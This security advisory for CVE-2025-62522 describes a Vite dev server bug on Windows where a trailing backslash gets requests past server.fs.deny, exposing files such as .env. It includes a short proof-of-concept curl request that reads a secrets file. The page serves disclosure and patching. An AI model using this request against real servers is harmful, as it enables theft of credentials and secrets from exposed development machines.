CVE-2025-62522

EPSS 0.87%

vite allows server.fs.deny bypass via backslash on Windows

Published: 10/20/2025Modified: 2/4/2026

Description

### Summary Files denied by [`server.fs.deny`](https://vitejs.dev/config/server-options.html#server-fs-deny) were sent if the URL ended with `\` when the dev server is running on Windows. ### Impact Only apps that match the following conditions are affected: - explicitly exposes the Vite dev server to the network (using --host or [`server.host` config option](https://vitejs.dev/config/server-options.html#server-host)) - running the dev server on Windows ### Details `server.fs.deny` can contain patterns matching against files (by default it includes `.env`, `.env.*`, `*.{crt,pem}` as such patterns). These patterns were able to bypass by using a back slash(`\`). The root cause is that `fs.readFile('/foo.png/')` loads `/foo.png`. ### PoC ```shell npm create vite@latest cd vite-project/ cat "secret" > .env npm install npm run dev curl --request-target /.env\ http://localhost:5173 ``` <img width="1593" height="616" alt="image" src="https://github.com/user-attachments/assets/36212f4e-1d3c-4686-b16f-16b35ca9e175" />

Affected packages (1)

CVSS scores

SourceVersionSeverityVector
osvCVSS 4.0CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

References (4)